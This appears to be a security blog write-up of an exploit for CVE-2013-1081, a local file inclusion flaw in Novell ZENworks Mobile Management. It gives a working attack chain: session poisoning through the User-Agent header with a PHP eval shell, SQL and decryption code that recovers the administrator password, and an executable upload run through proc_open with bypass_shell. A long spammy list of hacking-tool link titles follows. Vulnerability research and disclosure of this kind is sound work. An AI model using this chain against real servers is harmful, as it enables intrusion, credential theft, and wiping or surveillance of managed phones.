Novell Zenworks MDM: Mobile Device Management For The Masses

Posted On // Leave a Comment
I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.


For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:
Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]
I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.
The actual CVE details are as follows:
"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."
After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:
POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=
Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:
<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== ''  &&  $Language != $_SESSION["language"])
{
     //check for validity
     if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
     {
          $_SESSION["language"] = $Language;
     }
}

if (isset($_SESSION["language"]))
{
     require_once( $_SESSION["language"]);
} else
{
     require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);
In English:

  • Check if the "language" parameter is passed in on the request
  • If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
  • The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
  • If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
  • If the session variable "language" is set, include it into the page
  • Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:
$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;
The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:
egrep -R '\$_SESSION\[.*\] =' ./
This pulled up a ton of results, including the following:
 /desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
 Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
     require_once( $_SESSION["language"]);
} else
{
     require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey']  > 0)
{

} else
{
     $_SESSION['$error'] = LOGIN_FAILED_TEXT;
     header('Location: index.php');

}
The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)


This will create a session file named "sess_payload" that we can include, the file contains the following:
 user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";
 Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:
return mdm_DecryptData($result[0]['Password']); 
Ends up it is magic – so I sent the following PHP to be executed on the server -
$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);
 


Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:
$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));
This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.


After we have uploaded the file we can then carry out another request to execute what has been uploaded:
$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
     $output=explode("\\n",+stream_get_contents($pipes[1]));
     fclose($pipes[1]);
     proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};
The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:


Update: Metasploit modules are now available as part of metasploit.

Related articles
  1. Hacker Tools For Pc
  2. Hackrf Tools
  3. Hacker Hardware Tools
  4. Hacker Tools Mac
  5. Best Pentesting Tools 2018
  6. Pentest Tools Kali Linux
  7. Pentest Tools Find Subdomains
  8. Hacker Tools For Pc
  9. Underground Hacker Sites
  10. Pentest Tools Find Subdomains
  11. Hacker Tools Free
  12. Pentest Tools Nmap
  13. How To Install Pentest Tools In Ubuntu
  14. Hack Tools Mac
  15. Hacking Tools For Windows Free Download
  16. Hacker Techniques Tools And Incident Handling
  17. Hack Tools Download
  18. Hacking Tools For Windows 7
  19. Hack And Tools
  20. Best Hacking Tools 2019
  21. Hacker Tools Free Download
  22. Hacking Tools And Software
  23. Hacker Tools Online
  24. Hacking Tools Usb
  25. Hacker Tools Github
  26. Hacking Tools Kit
  27. What Are Hacking Tools
  28. What Are Hacking Tools
  29. Android Hack Tools Github
  30. Pentest Tools Alternative
  31. Pentest Tools Website Vulnerability
  32. Hacking Tools For Pc
  33. Pentest Tools Open Source
  34. Tools 4 Hack
  35. Hack Tools Download
  36. Hacker Tools Linux
  37. Hack Tools For Mac
  38. Hack Tools For Mac
  39. Hacks And Tools
  40. Pentest Box Tools Download
  41. Usb Pentest Tools
  42. Pentest Tools Open Source
  43. Pentest Tools Kali Linux
  44. Hackrf Tools
  45. Hackers Toolbox
  46. Pentest Automation Tools
  47. Hacking Apps
  48. Hacker Security Tools
  49. Pentest Recon Tools
  50. Nsa Hacker Tools
  51. Pentest Tools Tcp Port Scanner
  52. Hack Tools
  53. Pentest Reporting Tools
  54. Nsa Hack Tools
  55. Hack And Tools
  56. Free Pentest Tools For Windows
  57. Nsa Hack Tools Download
  58. Hacking Tools 2019
  59. Hacking Tools For Mac
  60. Computer Hacker
  61. New Hack Tools
  62. Hack Tools 2019
  63. Hacker Tools Github
  64. Hacking Tools For Pc
  65. Nsa Hacker Tools
  66. Hacker Tools Github
  67. Pentest Tools Github
  68. Hack Tools For Pc
  69. Hacker Tools Linux
  70. Hacking Tools For Games
  71. Pentest Tools Subdomain
  72. How To Hack
  73. Hacking Tools Windows
  74. Hacker
  75. Wifi Hacker Tools For Windows
  76. Tools Used For Hacking
  77. Hack Tools Pc
  78. Hacker Tools Online
  79. Hack Tools Mac
  80. Pentest Tools Find Subdomains
  81. Hacking Tools For Mac
  82. Hack Tools 2019
  83. Pentest Tools Github
  84. Hacker Tools Windows
  85. Pentest Tools Linux
  86. Pentest Tools Kali Linux
  87. Easy Hack Tools
  88. Hacker Tools Free Download
  89. Tools 4 Hack
  90. Hacking Apps
  91. Pentest Tools Kali Linux
  92. Hack Tools Mac
  93. Hacker Tools For Ios
  94. Hacking Tools For Pc
  95. Pentest Tools Open Source
  96. Ethical Hacker Tools
  97. Hak5 Tools
  98. Hacker Tools Windows
  99. Nsa Hacker Tools
  100. Hacker Tools For Windows
  101. Hacking Tools For Mac
  102. Hacker Tool Kit
  103. Hacking Tools Windows
  104. Hack Apps
  105. Blackhat Hacker Tools
  106. Hacking Tools Usb
  107. Kik Hack Tools
  108. Hacker Tools Github
  109. Hack Tools For Pc
  110. Hacking Tools For Windows
  111. Beginner Hacker Tools
  112. Android Hack Tools Github
  113. Hacking Tools 2019
  114. Hacking Tools Pc
  115. Hack Tools For Games
  116. Hack Tools Download
  117. Hacking Tools Name
  118. Pentest Reporting Tools
  119. Pentest Tools Framework
  120. Pentest Tools Bluekeep
  121. Nsa Hack Tools Download
  122. Android Hack Tools Github
  123. Hack Tools Mac
  124. Hacker Tools 2020
  125. Pentest Tools For Ubuntu
  126. Pentest Tools Url Fuzzer
  127. Pentest Recon Tools
  128. Hacking Tools And Software
  129. Hacking Tools Windows
  130. Best Hacking Tools 2020
  131. Tools 4 Hack
  132. Hacking Tools For Windows
  133. Pentest Tools For Mac
  134. Growth Hacker Tools
  135. Hack Tools Download
  136. Hacking Tools Pc
  137. Hacker Tools Mac
  138. Hacker Tools Linux
  139. Hacker Tools Online
  140. Hacker Tools Apk
  141. Hacker Search Tools
  142. Pentest Recon Tools
  143. Hack Tools Mac
  144. Hacker Security Tools
  145. Hacking Tools For Windows
  146. Hacking Tools Usb
  147. Hacking Tools For Windows 7
  148. Hack Tools
  149. Hack Website Online Tool
  150. Hacking Tools For Windows 7
  151. Pentest Tools For Android
  152. Pentest Tools Alternative
  153. Tools For Hacker
  154. Pentest Tools For Ubuntu
  155. Best Hacking Tools 2019
  156. Pentest Tools Nmap
  157. Hack Tools For Windows
  158. Pentest Tools Kali Linux
  159. Hacking Tools Download
  160. Growth Hacker Tools
  161. Hacking Tools 2020
  162. Hack Website Online Tool
  163. Physical Pentest Tools
  164. Pentest Tools Open Source
  165. Hacking Tools Online
  166. Hacker Techniques Tools And Incident Handling
  167. Hack Tools

0 comments:

Post a Comment